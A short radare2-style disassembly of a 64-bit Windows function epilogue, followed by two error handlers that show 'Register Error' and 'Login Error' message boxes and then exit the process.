xor rcx, rsp
call fcn.1400a3990
lea r11, [rsp + 0x1340]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rdx, str.Register_Error_
call qword [sym.imp.USER32.dll_MessageBoxW]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, str.Login_Error_
call qword [sym.imp.USER32.dll_MessageBoxW]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3